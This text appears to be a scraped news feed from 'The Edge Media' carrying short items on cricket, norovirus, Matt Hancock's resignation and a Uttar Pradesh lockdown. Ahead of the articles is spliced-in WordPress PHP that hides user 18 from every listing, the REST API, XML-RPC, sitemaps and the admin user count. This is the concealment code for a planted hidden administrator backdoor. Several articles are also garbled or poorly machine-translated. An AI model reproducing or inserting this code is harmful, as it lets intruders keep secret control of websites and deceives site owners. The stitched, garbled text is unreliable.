add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post It’s a surprise I’ve won the toss : Virat Kohli appeared first on The Edge Media.
]]>Kohli himself was the first to crack a joke about it.
“It’s a surprise I’ve won the toss,” he said immediately, before saying that India opted to bat first.
Former India opener Wasim Jaffer, as usual, led the meme-fest on Twitter.
Check the tweet here :
Kohli may have won the toss but England dominated the opening exchanges of the match as James Anderson ripped through India’s top order.
Anderson dismissed the in-form KL Rahul, Cheteshwar Pujara and Virat Kohli within the first 11 overs, to leave India tottering at 21/3.
The post It’s a surprise I’ve won the toss : Virat Kohli appeared first on The Edge Media.
]]>The post We have a good chance this time to win this series in England , says Jadeja appeared first on The Edge Media.
]]>Speaking to ANI, Jadeja not only threw light on the current team wearing a balanced look, but also revealed how his idea to approach every situation positively before a game has helped him succeed at the top level. The all-rounder also spoke about how skipper Virat Kohli’s mindset has helped create a positive environment in the team.
Yes, as we have been in the UK since the last two months, it’s been a good preparation time for us. Especially in the English condition, people get ready and prepared for the Test series. So, we had enough time before this series.
“I think the last time we played, we were a bit unlucky (2018). But, we have a very good balanced team, and an all-rounder team. We have good fast-bowlers, spinners and good batsmen. Plus, everyone is young in the team, so I think we have a good chance this time to win this series in England,” he said.
The post We have a good chance this time to win this series in England , says Jadeja appeared first on The Edge Media.
]]>The post Indian Cricketers pay tribute to yashpal sharma, sporting black armbands during warm-up games. appeared first on The Edge Media.
]]>“#TeamIndia are sporting black armbands to mourn the sad demise of former India cricketer Yashpal Sharma ji, who sadly passed away on 13th july after a cardiac arrest ,” BCCI tweeted.
The Board of Control for Cricket in India (BCCI) shared images of Rohit Sharma and Mayank Agarwal wearing black armbands, as they walked out to bat on day 1 of the warm up game.
The post Indian Cricketers pay tribute to yashpal sharma, sporting black armbands during warm-up games. appeared first on The Edge Media.
]]>The post Norovirus : A new threat for people appeared first on The Edge Media.
]]>In the last 5 weeks, 154 outbreaks were reported compared to an average of 53 outbreaks reported over the same time period in the previous five years,” the PHE said.
The PHE also stated that cases are returning to pre-pandemic levels across all age groups and settings in the country.
Norovirus is highly infectious :
Public Health England said that Norovirus, also known as the winter vomiting bug, ‘is highly infectious’ and causes vomiting and diarrhoea. “It is easily transmitted through contact with infected individuals or contaminated surfaces,” PHE stated.
Symptoms of Norovirus:
The PHE stated that the symptoms of Norovirus include sudden onset of nausea, projectile vomiting and diarrhoea. It can also include a high temperature, abdominal pain and aching limbs. “Stay at home if you are experiencing norovirus symptoms and do not return to work or send children to school or nursery until 48 hours after symptoms have cleared,” the PHE said. To stop the spread, handwashing is important, but, alcohol gels do not kill off norovirus, so soap and water are advised.
The Deputy Director of the National Infection Service, PHE, Professor Saheer Gharbia, said, “Norovirus has been at lower levels than normal throughout the pandemic with less opportunity to spread between people in the community but as restrictions have eased we have seen an increase in cases across all age groups.”
Meanwhile, nearly 40,000 people tested positive with COVID-19 on Monday and more than 3.22 lakh have been infected in the last 7 days in the United Kingdom.
The post Norovirus : A new threat for people appeared first on The Edge Media.
]]>The post UK Minister Matt Hancock Resigns After Violating Covid-19 Protocols appeared first on The Edge Media.
]]>Hancock remarked, “The last thing I’d want is to deflect attention from my private life from the single-minded concentration that drives us out of this crisis” by stating that the nationality must concentrate on public problem.
On Saturday, British Prime Minister Boris Johnson faced increasing pressure to remove his health minister after admitting to kissing a staffer in violation of Covid-19 standards, sparking charges of obvious hypocrisy.
The post UK Minister Matt Hancock Resigns After Violating Covid-19 Protocols appeared first on The Edge Media.
]]>The post James Anderson Creates History, Becomes The Most Capped Test Player appeared first on The Edge Media.
]]>This record had previously been held by former captain Sir Alastair Cook of England, with 161 test appearances on his behalf. The Lord’s Test record was set by James Anderson and now the left-handed bathman has been eclipsed.
Stuart Broad, Anderson’s bowling partner, is also closer to Cook. Broad currently plays its 148th test against Blackcaps.
The post James Anderson Creates History, Becomes The Most Capped Test Player appeared first on The Edge Media.
]]>The post Lockdown in U.P form Friday to tuesday appeared first on The Edge Media.
]]>Now the state will remain in captivity from eight in the evening to seven in the morning on Tuesday. Explain that according to the order issued earlier, the Saturday and Sunday lockdown will remain in force.
In fact, on Tuesday, the Allahabad High Court, while hearing the situation of Corona in the state, said that the lockdown of two days was inadequate and said that the government has imposed a lockdown of two days to break the chain of infection as well as other restrictions as per its discretion.
Have also been implemented, but in view of new cases of infection, it looks futile. These measures seem inadequate. This comment of the High Court is also being considered as a reason behind extending the lockdown till Tuesday morning.
In the hearing, the High Court had told the government in strong words that those who are in power should give up their attitude like ‘obey my law, otherwise there is no Qaida’.
In the case, the High Court had directed the government to submit an action plan in 12 points to prevent infection in the hearing to be held on May 3.
Earlier, the state government had announced to impose a 35-hour lockdown on April 16, which was applicable from 8 am on Saturday night till 7 am on Monday morning.
However, the amendment was again decided to lockdown from eight o’clock on Friday night to seven o’clock on Monday.
Along with this, the State Government has given strict action against those who do not wear masks. Those exiting without a mask will be fined one thousand rupees for the first time.
For the second time, you will have to pay 10 times more fine. The State Government directed to strictly follow the Corona Protocol.
In a meeting with officers on Thursday, Chief Minister Yogi said that Uttar Pradesh is fighting with full commitment in the fight against covid. Learning from the experiences of the first wave of covid, health resources have been improved with priority.
This work is going on continuously. We have to be ready for every situation. Today there are more than 116000 L-1 beds, L-Two and L-3 have more than 65000 beds.
Two CHCs are being developed as covid Dedicated Hospitals in all the districts. Resources are being increased in government hospitals, private hospitals and medical colleges should also be added to it.
He directed the action of doubling the covid Bed to double the present capacity, examining all the options. He said that there should be availability of necessary medical resources like oxygen on all beds.
He said that the supply of oxygen is getting better every day. Along with connecting all the resources available in Uttar Pradesh to the supply chain, special means like oxygen express, air route are also being used.
There is continuous supply of oxygen from Roorkee, Dehradun, Jamshedpur, Bokaro etc. areas. Like yesterday, more than 650 metric tons of oxygen has to be supplied today. The need of all small and big hospitals in all districts should be monitored. They should be supplied.
The post Lockdown in U.P form Friday to tuesday appeared first on The Edge Media.
]]>The post Deadly attack on the England Star cricketer Moeen Ali appeared first on The Edge Media.
]]>
Moeen’s father Munir Ali has revealed that Moeen Ali was deliberately tried to crush a car in his childhood. He told ESPN Cricinfo, ‘He was about 13 years old at the time and was coming home from school. Then a car came quickly towards Moeen and missed it and slipped. The driver was probably an Asian man. Moeen told us that he had never seen the man before nor seen him after. He opened the window and, while abusing, brought the car in reverse and hit Moeen hard with the car. Moeen collapsed and the car crashed into the side of the pavement. The collision was so fast the car overturned. ‘
The post Deadly attack on the England Star cricketer Moeen Ali appeared first on The Edge Media.
]]>The post England v West Indies: Ben Stokes & Stuart Broad help hosts win the second Test appeared first on The Edge Media.
]]>
Stokes cracked 78 not out from 57 balls to allow England to declare on 129-3, setting West Indies 312 to win or 85 overs to survive.
Broad took 3-1 on the fourth evening and tore through the top order with three more wickets on Monday to leave West Indies 37-4.
Their recovery came in the shape of a century partnership between Jermaine Blackwood and Shamarh Brooks, who both made fifties.
Stokes produced the breakthrough, having the tangled Blackwood top-edge a pull to a diving Jos Buttler in a sustained spell of short bowling.
Further resistance came from West Indies captain Jason Holder but, when he was bowled by Dom Bess, England could scent victory.
The win was completed with nearly 15 overs to spare, Bess having Kemar Roach caught at short leg to leave West Indies 198 all out and the series level at 1-1.
The only concern for England was the sight of Stokes pulling up mid-over, appearing to hold his groin, late in the day, but he said there are no concerns over his availability for the third and final Test beginning on Friday at the same ground.

The post England v West Indies: Ben Stokes & Stuart Broad help hosts win the second Test appeared first on The Edge Media.
]]>